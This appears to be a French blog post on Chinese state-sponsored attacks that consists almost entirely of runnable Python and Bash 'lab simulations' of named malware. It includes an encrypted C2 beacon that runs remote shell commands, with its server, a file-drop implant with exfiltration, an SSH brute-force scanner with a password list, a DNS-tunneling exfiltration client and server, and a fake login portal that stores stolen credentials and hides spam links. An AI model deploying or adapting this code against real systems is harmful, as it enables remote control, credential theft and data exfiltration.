APT Chinois 2026 : Plongée Technique dans les Cyberattaques d’État

#!/usr/bin/env python3
# tern_door_2026.py – Simulation réaliste TernDoor (UAT-9244 – Cisco Talos 2026)
# Fonctionne sur Windows ou Linux – réseau host-only uniquement
import socket
import time
import base64
import os
import subprocess
import random
import threading
import platform
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# ────────────────────────────────────────────────
# CONFIGURATION LAB (à adapter une seule fois)
C2_IP   = "192.168.100.50"      # IP de ta VM C2 (Kali/Ubuntu)
C2_PORT = 8443                  # port imitant HTTPS
AES_KEY = b"T3rnD00rA3S2026!!"  # 16 bytes – AES-128 CBC (comme observé)
# ────────────────────────────────────────────────

VICTIM_ID = base64.b64encode(os.urandom(6)).decode()[:10]
HOSTNAME  = platform.node()
USER      = os.getlogin() if hasattr(os, 'getlogin') else "unknown"

def aes_encrypt(plaintext: bytes) -> bytes:
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    padded = plaintext + b"\0" * (16 - len(plaintext) % 16)
    return base64.b64encode(iv + encryptor.update(padded) + encryptor.finalize())

def beacon_thread():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(10)
            s.connect((C2_IP, C2_PORT))
            
            # Payload réaliste (comme TernDoor)
            payload = f"{VICTIM_ID}|{HOSTNAME}|{USER}|{time.strftime('%Y-%m-%d %H:%M:%S')}|online|win" if "win" in platform.system().lower() else "linux"
            enc = aes_encrypt(payload.encode())
            s.sendall(enc)
            
            # Réception commande (TernDoor accepte des commandes simples)
            data = s.recv(4096)
            if data:
                try:
                    cmd = data.decode('utf-8', errors='ignore').strip()
                    if cmd.startswith("exec:"):
                        result = subprocess.check_output(cmd[5:], shell=True, stderr=subprocess.STDOUT, timeout=12)
                        s.sendall(aes_encrypt(result))
                    elif cmd == "sleep":
                        time.sleep(3600)  # simulation mode dormant
                except:
                    pass
            s.close()
        except:
            pass
        
        # Jitter très réaliste (observé par Talos : 4–12 min)
        sleep_time = 240 + random.randint(0, 480)
        time.sleep(sleep_time)

if __name__ == "__main__":
    print(f"[TernDoor 2026 sim] Victim ID : {VICTIM_ID}")
    print(f"           Beacon vers     : {C2_IP}:{C2_PORT}")
    print("           Jitter          : 4 à 12 minutes")
    
    threading.Thread(target=beacon_thread, daemon=True).start()
    
    # Simulation persistance infinie
    while True:
        time.sleep(7200)  # 2h

#!/usr/bin/env python3
# c2_terndoor_2026.py – C2 pour simulation TernDoor
import socket
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

AES_KEY = b"T3rnD00rA3S2026!!"
HOST, PORT = "0.0.0.0", 8443

def aes_decrypt(data: bytes) -> bytes:
    raw = base64.b64decode(data)
    iv = raw[:16]
    ct = raw[16:]
    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    padded = decryptor.update(ct) + decryptor.finalize()
    return padded.rstrip(b"\0")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(5)
    print(f"[C2 TernDoor 2026] Écoute sur {HOST}:{PORT}")
    while True:
        conn, addr = s.accept()
        with conn:
            print(f"[+] {addr}")
            data = conn.recv(8192)
            if data:
                try:
                    decrypted = aes_decrypt(data)
                    print(f" → {decrypted.decode('utf-8', errors='ignore')}")
                    
                    # Menu interactif simple
                    cmd = input("Commande à envoyer (ex: exec:whoami) ou vide pour rien : ").strip()
                    if cmd:
                        conn.sendall(cmd.encode())
                except Exception as e:
                    print(f" → Erreur : {e}")

#!/usr/bin/env python3
# peertime_2026.py – Simulation PeerTime (UAT-9244) par dossier partagé
import time
import os
import platform
import hashlib

SHARED = "/mnt/c2_shared"   # Dossier partagé entre les VMs (à créer)
if not os.path.exists(SHARED):
    os.makedirs(SHARED)

HOSTNAME = platform.node()

def check_for_commands():
    # Le C2 dépose un fichier "cmd_<hostname>.txt"
    cmd_file = f"{SHARED}/cmd_{HOSTNAME}.txt"
    if os.path.exists(cmd_file):
        with open(cmd_file, 'r') as f:
            cmd = f.read().strip()
        print(f"[PeerTime] Commande reçue : {cmd}")
        if cmd == "exfil":
            # Simule l'exfiltration d'informations
            info = f"{HOSTNAME} | {os.getlogin()} | {os.getcwd()} | {time.ctime()}"
            with open(f"{SHARED}/exfil_{HOSTNAME}.txt", 'a') as f:
                f.write(info + "\n")
        elif cmd.startswith("exec:"):
            try:
                result = os.popen(cmd[5:]).read()
                with open(f"{SHARED}/result_{HOSTNAME}.txt", 'w') as f:
                    f.write(result)
            except Exception as e:
                pass
        os.remove(cmd_file)

while True:
    check_for_commands()
    # Intervalle variable (simule le comportement torrent)
    time.sleep(30 + (hashlib.md5(HOSTNAME.encode()).digest()[0] % 30))

#!/usr/bin/env python3
# c2_peertime_2026.py – Dépose des commandes dans le dossier partagé
import time
import os

SHARED = "/mnt/c2_shared"   # Dossier partagé (identique à la victime)

targets = ["vm1", "vm2", "vm3"]  # noms d'hôte des cibles

def drop_command(hostname, cmd):
    with open(f"{SHARED}/cmd_{hostname}.txt", 'w') as f:
        f.write(cmd)

print("[C2 PeerTime] En attente d'interaction...")
while True:
    print("\nCommandes disponibles : exfil, exec:<commande>, quit")
    choice = input("Commande : ")
    if choice == "quit":
        break
    host = input("Cible (hostname) : ")
    if host in targets:
        drop_command(host, choice)
        print(f"[+] Commande déposée pour {host}")
    else:
        print("Cible inconnue.")

#!/usr/bin/env python3
# bruteentry_2026.py – Scanner de brute‑force léger (lab uniquement)
import paramiko
import threading
import socket
import time

# Configuration : réseau interne à scanner
SUBNET = "192.168.100."
PORTS = [22, 3389, 23]   # SSH, RDP, telnet
USERNAMES = ["admin", "root", "user", "administrator", "backup"]
PASSWORDS = [
    "123456", "password", "admin123", "P@ssw0rd",
    "Welcome1", "qwerty", "letmein", "company123"
]

def try_login(ip, port, user, pwd):
    if port == 22:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            client.connect(ip, username=user, password=pwd, timeout=3)
            print(f"[+] SSH SUCCESS: {ip} {user}:{pwd}")
            client.close()
        except:
            pass
    elif port == 3389:
        # RDP nécessite des libs spécifiques, on simule juste un test de port
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((ip, port))
            if result == 0:
                print(f"[*] RDP ouvert sur {ip}, tentative avec {user}:{pwd}")
            sock.close()
        except:
            pass
    else:
        pass

# Scan des IPs du sous‑réseau
for i in range(10, 30):   # 192.168.100.10 à 192.168.100.29
    ip = SUBNET + str(i)
    for port in PORTS:
        for user in USERNAMES:
            for pwd in PASSWORDS:
                t = threading.Thread(target=try_login, args=(ip, port, user, pwd))
                t.start()
                time.sleep(0.1)   # pour éviter de flooder

#!/bin/bash
# ghost_nic_2026.sh – Création d'une interface fantôme (lab isolé)

# Créer une interface dummy
sudo ip link add name ghost0 type dummy
# Activer le mode promiscuité
sudo ip link set ghost0 promisc on
# Activer l'interface
sudo ip link set ghost0 up

echo "[Ghost NIC] Interface ghost0 créée. Capture du trafic local :"
echo "Lancez tcpdump : sudo tcpdump -i ghost0 -n -vv -c 200 -w /tmp/ghost.pcap"

# Pour générer du trafic test sur le réseau local
ping -c 10 192.168.100.10 > /dev/null &

# Pour arrêter : sudo ip link delete ghost0

#!/usr/bin/env python3
# grimbolt_victim_2026.py – Simulation fidèle GrimBolt (DNS tunneling local)
import socket
import time
import base64
import os
import platform

# Doit être résolu localement (ajoute dans /etc/hosts : 192.168.100.50 c2.local)
C2_DOMAIN = "c2.local"

def build_subdomain(data: str) -> str:
    encoded = base64.b32encode(data.encode()).decode().rstrip("=")
    return f"{encoded}.{C2_DOMAIN}"

while True:
    try:
        payload = f"{platform.node()}|{os.getlogin()}|{time.ctime()}|{os.getcwd()[:80]}"
        subdomain = build_subdomain(payload)
        print(f"[GrimBolt] Exfil DNS : {subdomain}")
        socket.gethostbyname(subdomain)  # déclenche la requête DNS
    except:
        pass
    
    # Intervalle réaliste Mandiant : 45–180 secondes
    time.sleep(45 + (os.getpid() % 135))

#!/usr/bin/env python3
# grimbolt_c2_2026.py – Serveur DNS local pour GrimBolt
import socketserver
import base64
from dnslib import DNSRecord, RR, A

class GrimBoltDNS(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        socket = self.request[1]
        try:
            req = DNSRecord.parse(data)
            qname = str(req.q.qname).lower().rstrip(".")
            
            if len(qname.split('.')) > 5:  # signature tunneling typique
                subdomain = qname.split('.')[0]
                try:
                    # On ajoute du padding pour décoder
                    padded = subdomain + "=" * ((4 - len(subdomain) % 4) % 4)
                    decoded = base64.b32decode(padded).decode('utf-8', errors='ignore')
                    print(f"[GrimBolt C2] Tunnel → {qname}")
                    print(f"   Données décodées : {decoded}")
                except Exception as e:
                    print(f"   Décodage échoué : {e}")
            
            # Réponse bidon pour que la requête réussisse
            reply = req.reply()
            reply.add_answer(RR(qname, rdata=A("127.0.0.1")))
            socket.sendto(reply.pack(), self.client_address)
        except:
            pass

if __name__ == "__main__":
    server = socketserver.UDPServer(("0.0.0.0", 53), GrimBoltDNS)
    print("[GrimBolt C2 2026] DNS local sur port 53")
    print("Ajoute dans /etc/hosts des victimes : 192.168.100.50 c2.local")
    server.serve_forever()

#!/usr/bin/env python3
# badiis_2026.py – Simulation fidèle BadIIS (vol creds + injection SEO cachée)
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import time
import os

class BadIISHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.lower()
        
        # Page de login factice (comme observé dans les redirections BadIIS)
        if "/login" in path or "/admin" in path:
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(b"""
            <html><body style="font-family:Arial;">
            <h2>Portail d'administration</h2>
            <form method="POST">
                Identifiant : <input name="username"><br>
                Mot de passe : <input name="password" type="password"><br><br>
                <input type="submit" value="Se connecter">
            </form>
            </body></html>
            """)
            return
        
        # Page légitime avec injection SEO cachée (style display:none + liens)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(b"""
        <html><body>
        <h1>Bienvenue sur notre site officiel</h1>
        <p>Contenu légitime ici...</p>
        <!-- Injection SEO frauduleuse – technique BadIIS 2026 -->
        <div style="display:none;position:absolute;">
            <a href="http://fraud-site.local">cheap viagra online</a>
            <a href="http://another-fraud.local">best casino bonus 2026</a>
            <a href="http://spam-pharma.local">cialis without prescription</a>
        </div>
        </body></html>
        """)

    def do_POST(self):
        if "/login" in self.path or "/admin" in self.path:
            content_length = int(self.headers['Content-Length'] or 0)
            post_data = self.rfile.read(content_length).decode(errors='ignore')
            params = urllib.parse.parse_qs(post_data)
            
            user = params.get('username', [''])[0]
            pwd  = params.get('password', [''])[0]
            
            if user and pwd:
                stamp = time.strftime("%Y-%m-%d %H:%M:%S")
                ip = self.client_address[0]
                with open("/tmp/badiis_stolen_2026.txt", "a", encoding="utf-8") as f:
                    f.write(f"{stamp} | {ip} | {user}:{pwd}\n")
                print(f"[BadIIS 2026] CREDENTIALS STOLEN → {user}:{pwd} from {ip}")
            
            # Redirection après vol (technique observée)
            self.send_response(302)
            self.send_header("Location", "/")
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    print("[BadIIS 2026 simulation] Proxy malveillant démarré sur http://0.0.0.0:8080")
    print("Identifiants volés → /tmp/badiis_stolen_2026.txt")
    server = HTTPServer(("0.0.0.0", 8080), BadIISHandler)
    server.serve_forever()